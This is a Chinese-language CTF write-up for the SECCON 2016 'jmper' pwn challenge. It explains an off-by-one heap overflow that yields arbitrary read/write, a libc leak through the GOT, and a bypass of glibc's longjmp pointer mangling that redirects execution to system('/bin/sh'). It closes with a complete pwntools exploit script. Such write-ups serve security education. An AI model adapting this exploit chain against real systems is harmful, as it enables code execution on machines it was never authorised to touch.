Pwn With longjmp

前言

这个是 seccon-ctf-quals-2016 的一个题，利用方式还是挺特殊的记录一下。

题目链接

http://t.cn/RnfeHLv

正文

首先看看程序的安全措施

haclh@ubuntu:~/workplace/jmper$ checksec jmper 
[*] '/home/haclh/workplace/jmper/jmper'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

开了 Full RELRO, 所以不能修改 got 表了。

分配了两个大内存，一个作为一个全局表，用于存放程序中用的结构体指针, 一个作为 jmpbuf, 用于在 longjmp 时跳转回来。

接下来就是 f 函数，程序主要的逻辑在这里面。

** Add student**

最多的可以创建 0x1d 个 student, 如果已经创建满了的话就 longjmp 返回到 main 函数结束程序。创建时会分配两个堆内存。
结构体类型大概为

分配第一个 student 时的 内存布局为

** Name student**

输入 id, 然后在 myclass 里面找到相应的地址，取出 name_ptr ，向里面写入内容，注意循环条件

for ( i = 0; i <= 0x20; ++i )

我们可以写入 0x21 个字节，我们分配的内存为 0x20, 可以有 一字节的 溢出，不过这里我们不能控制 分配的大小以及 释放堆块， 无法使用 overlap-heap 利用。继续往下看。

Write memo

类似的操作，依旧可以溢出 memo 的 一个字节， 在 memo 后面存放的是 name_ptr 所以我们可以修改 name_ptr 的最低字节.

有一个小知识，如果内存分配的顺序大小不变，各个内存块相对于堆基地址的偏移是固定的，所以修改 name_ptr 的最低字节，我们可以使得 name_ptr 指向和 它距离较近的堆块。

这里的话直接修改为下一个堆块的 name_ptr 的地址， 然后利用 name student 就可以修改下一个堆块的 name_ptr，再利用后面的  Show Name 功能就可以实现 任意地址读写。

以后通过

set_name(0, p64(addr))  
getname(1)

就可以实现任意地址读

通过

set_name(0, p64(addr))  
set_name(1, data)

就可以实现任意地址写

现在的问题是往哪写，写什么。

当新增的student的人数到限制后，会调用longjmp， 我们来看看 调用 longjmp 时做了什么

进入函数时 rdi 为 jmpbuf  的地址，可以看到，在 jmpbuf + 0x38 处存放了加密后的 rip, 进入 longjmp会先解密 出 rip 然后跳转。

mov     rdx, [rdi+38h]
ror     rdx, 11h
xor     rdx, fs:30h

jmpbuf 在堆中，如果我们可以 拿到 fs:30h 然后修改 jmpbuf + 0x38 ，我们就可以控制执行流了。

longjmp 跳转的地址其实就是 调用 setjmp 的下一条指令（0x400C31）

又由于 xor 是可逆的，所以我们可以通过

mov     rdx, [rdi+38h]
ror     rdx, 11h
xor     rdx, 0x400C31

得到 fs:30h

至于重新的加密 rip 的过程，可以看 setjmp 的实现

所以总的利用思路

• 利用 off-by-one 获取任意地址读写的能力
• 利用 student 2 的 name_ptr 泄露堆地址
• 获取 jmpbuf + 0x38 的值，计算 fs:30h 的值
• 重新计算值写入 jmpbuf + 0x38 ， 同时往 jmpbuf 开头写入 ``/bin/sh\x00

参考

https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100

最后的 exp:

#/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
p = process("./jmper")


def ror(reg, count):
    src = bin(reg)[2:]
    src = "0" * (64 - len(src)) + src
    # print(src)
    # print(src[-count:] + ":::" + src[:64 - count])
    return int(src[-count:] + src[:64 - count],2)

def rol(reg, count):
    src = bin(reg)[2:]
    src = "0" * (64 - len(src)) + src
    # print(src)
    # print(src[:count] + ":::" + src[count:])
    # print(src[count:] + src[:count])
    return int(src[count:] + src[:count],2)

def add():
  p.recvuntil("Bye :)")
  p.sendline("1")

def set_name(index, name):
  p.recvuntil("Bye :)")
  p.sendline("2")
  p.recvuntil("ID:")
  p.sendline(str(index))
  p.recvuntil("Input name:")
  p.sendline(name)

def write_memo(index, data):
  p.recvuntil("Bye :)")
  p.sendline("3")
  p.recvuntil("ID:")
  p.sendline(str(index))
  p.recvuntil("Input memo:")
  p.sendline(data)


def getname(index):
  p.recvuntil("Bye :)")
  p.sendline("4")
  p.recvuntil("ID:")
  p.sendline(str(index))

gdb.attach(p,'''
# bp 0x0400B03
# bp __sigsetjmp
c
  ''')

pause()


add()  # get stu 0
set_name(0, "/bin/sh\x00")
write_memo(0, "b"*8)


add()  # get stu 1
set_name(1, "c"*8)
write_memo(1, "d"*8)


write_memo(0, "b"*32 + "\x78")  # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
log.info("此时 0's name_ptr--> 1's name_ptr的地址")
pause()

getname(0)
heap = u64(p.recv(3) + "\x00" * 5) - 656
log.info("heap的基地址： " + hex(heap))
pause()

set_name(0, p64(0x0601FA8+1))   
log.info("1's name_ptr ---> printf@got+1")
pause()

getname(1)
printf_addr = u64("\x00" + p.recv(5) + "\x00" * 2)
libc = printf_addr - 350208
system = libc + 283536
longjmp = libc + 0x352F0


log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
log.info("longjmp: " + hex(longjmp))
pause()


jmpbuf = heap + 0x110
saved_rip_addr = jmpbuf + 0x38


# 获取 saved_rip_addr 处的数据
set_name(0, p64(saved_rip_addr))  
getname(1)
saved_rip = u64(p.recv(8))
xor_key = ror(saved_rip, 0x11) ^ 0x400C31

new_saved_rip = rol(system ^ xor_key, 0x11) 

log.info("saved_rip: " + hex(saved_rip))
log.info("xor_key: " + hex(xor_key))
log.info("new saved_rip： " + hex(new_saved_rip) )
pause()

set_name(1,p64(new_saved_rip))

set_name(0, p64(jmpbuf))  
set_name(1,"/bin/sh\x00")

log.info("set jmpbuf: /bin/sh\x00.....")
pause()


for x in xrange(0x1e - 2):
  add()

log.info("call longjmp")
pause()
add()
p.interactive()